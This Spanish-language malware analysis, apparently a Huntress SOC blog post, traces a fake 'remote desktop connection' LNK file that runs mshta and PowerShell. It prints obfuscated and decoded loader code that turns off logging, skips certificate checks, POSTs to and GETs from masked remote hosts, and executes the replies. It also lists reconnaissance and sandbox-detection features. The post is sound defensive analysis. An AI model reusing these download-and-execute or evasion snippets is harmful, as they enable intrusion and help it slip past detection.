El equipo del Huntress SOC ve todo tipo de trucos ingeniosos que usan los atacantes para ejecutar PowerShell.
Muchos de estos trucos usan PowerShell para leer un payload del registro y luego ejecutar ese payload. Así que cuando vimos un archivo LNK que iniciaba PowerShell y luego PowerShell leyendo del propio archivo LNK, asumimos que era solo una alternativa a leer del registro. Sin embargo, en este caso resultó ser mucho más. En este artículo, examinaremos los detalles de esta investigación.
Etapa 1 (archivo LNK)
Normalmente esperarías que un archivo LNK llamado remote desktop connection.lnk iniciara mstsc.exe u otra aplicación de escritorio remoto. Que inicie cualquier otra cosa, especialmente mshta.exe, es una señal de alerta. Este archivo LNK en particular es interesante porque el comando de destino hace referencia al propio archivo LNK.
Al observar el archivo LNK en un editor HEX, podemos ver lo que parece ser datos codificados justo después del ejecutable de destino (mshta.exe):
Volviendo al comando, podemos ver que usa mshta.exe para iniciar un shell desde VBscript, que a su vez ejecuta un comando de PowerShell. El comando de PowerShell lee desde un offset dentro del archivo LNK y lo decodifica en base64. La parte final del comando, ($eNV:coMsPec[4,26,25]-JoIN’’), es una forma de ocultar IEX (Invoke-Expression) que ejecuta lo que se haya leído del archivo LNK.
Por suerte, podemos usar el modo interactivo de PowerShell para leer el archivo LNK y decodificar los datos; simplemente omitimos la parte de IEX del comando. Esto revela código más ofuscado aún.
-JOin('36b76z111z103z69l110b103;105X110A101u76u105c102u101b67b121d99X108z101b69X118l101l110d116X61z36z76d111;103d69c110c103u105g110l101z72A101z97b108d116;104A69u1[...SNIP...]c101b78c86d58b99;111b77d115d80A101X99d91b52l44u50;54d44u50u53d93u45X74c111g73g78d39;39b41g40;36b114l101d32g45g74d79g73d110l39b39l41'.SpLiT('c;zXdAlugb')|FOrEAch-ObJeCt { ([int] $_-As[CHaR]) } ) | & ( $vErbOSepreFERENce.TOString()[1,3]+'x'-JOin'')Una vez más, podemos usar PowerShell para ejecutar la mayor parte del comando anterior (el bucle split y foreach) para decodificarlo. El comando decodificado (abajo) hace una solicitud POST y luego ejecuta la respuesta.
$LogEngineLifeCycleEvent=$LogEngineHealthEvent=$LogProviderLifecycleEvent=$LogProviderHealthEvent=$False;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={1};
[SysTEm.Net.SeRvICePoIntMAnaGEr]::Expect100ConTINuE=0;
$b=[System.Text.Encoding]::UTF8.GetBytes(('ur'+'l'));
[System.Net.HttpWebRequest] $w = [System.Net.WebRequest]::Create($(('http'+'s://X'+'XX'+'.X'+'X.XX'+'X.X'+'XX') + "/"+ $(-join(('a'+'dcde'+'noprsahtuvi'+'wyz').ToCharArray()|.("{2}{1}{0}" -f 'm','t-Rando','Ge') -Count $(@(8,6,7)|&("{2}{0}{1}"-f'Rand','om','Get-'))))+'.'+ $(@(('ph'+'p'),('j'+'sp'),('as'+'p'))|&("{0}{2}{1}"-f 'Ge','dom','t-Ran'))));
$w.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$w.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
$w.Timeout = 60000;
$w.Method = ('PO'+'ST');
$w.ContentType = ('a'+'ppli'+'cation/xml');
$w.ContentLength = $b.Length;
$r = $w.GetRequestStream();
$r.Write($b, 0, $b.Length);
$r.Flush();
$r.Close();
[System.Net.HttpWebResponse] $wr = $w.GetResponse();
$sr = &("{0}{2}{1}" -f 'New-','t','Objec') System.IO.StreamReader($wr.GetResponseStream());
[CHAr[]]$re = ([cHAr[]]($sr.ReadToEnd()));
$wr.Close();
. ($eNV:coMsPec[4,26,25]-JoIN'')($re -JOIn'')Etapa 2
La respuesta a la solicitud POST de la etapa 1 es otro comando de PowerShell:
INvoKE-exPRessIon(( '36j76h111{103O69T110h103T105K110R101,76T105K102,101K67,121,99T108h101,69<118h101,110y116T61,36{76K111{103R69<110j103R105y110y101O72R101<97K108j116K104h69h118y101j110{116T61h36T76{111<103R80R114j111O118T1[...SNIP...]111y114<36<107h91h36R73y43,43O37y36O107O46O76h101h78R71h116y72R93<125y59O36O100y32<61y32j36{114{45{106R111R105T110<39<39O59{32K46j32j40j36T101O78j86,58j99{111K77K115<80T101,99<91{52j44R50j54,44K50O53{93y45y74,111j73j78T39K39h41h32T36<100' -SplIT'j'-sPLIT 'R' -SpLit 'y' -SPLiT ',' -SpLIT'{'-SpLiT 'T'-SPliT'h' -sPLit '<' -SPlIt'K'-sPLIt 'O'|foreAch-obJecT {([INt]$_ -as[chAR])} )-jOin '')Esto se decodifica como una segunda solicitud HTTP. Esta solicitud obtiene (GET) un documento XML, decodifica en base64 uno de los elementos y lo ejecuta.
$LogEngineLifeCycleEvent=$LogEngineHealthEvent=$LogProviderLifecycleEvent=$LogProviderHealthEvent=$False;
$a = &('N'+'ew-Ob'+'ject') System.Xml.XmlDocument;
$I=0;
$ip = ('htt'+'p://X'+'X.X'+'.X'+'X.X'+'XX');
$a.Load($(. {param([string]$b,[int]$n,[int]$c);
$p = @(9,5,6,7);
$u={param([int]$g,$x);
&('sa'+'l') er Get-Random;
$(-join(1..$($g*$($x|.('er')))|.('%'){[char][int]((65..90)+(97..122)|.('er'))})).ToLower()};'{0}/{1}/{2}/{3}.{4}' -f $b, $(. $u $n $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major $([IntPtr]::Size/2)));
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($a.comm.app.cute)));
$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|&('%'){$_-BXor$k[$I++%$k.LeNGtH]};
$d = $r-join'';
. ($eNV:coMsPec[4,26,25]-JoIN'') $dEtapa 3
La respuesta a la solicitud HTTP de la etapa 2 es la más interesante. Al igual que las otras dos respuestas, es PowerShell, pero hace mucho más. Hay funciones para:
- Enumerar las aplicaciones instaladas, usando una expresión regular para buscar (Opera|Firefox|Chrome|TAX|OLT|LACERTE|PROSERIES|Virus|Firewall|Defender|Secury|Anti|Comodo|Kasper|Protect|Point of Sale|POS) ** “Secury” no es un error tipográfico :)
- Enumerar el software antivirus
- Cifrar/descifrar datos usando RC4
- Obtener la dirección IP externa
- Probar si tiene privilegios de administrador
- Revisar el BIOS y los detalles del sistema para determinar si el endpoint es una máquina virtual (una técnica de anti-análisis en un entorno aislado)
- Enviar (POST) los datos recopilados y ejecutar la respuesta
Los atacantes siguen usando técnicas de “Living Off The Land” con la esperanza de minimizar la posibilidad de ser detectados. Microsoft agregó registro mejorado a PowerShell versión 5, que registra el comando o script completo de PowerShell. El registro es un componente clave para detectar este tipo de técnicas.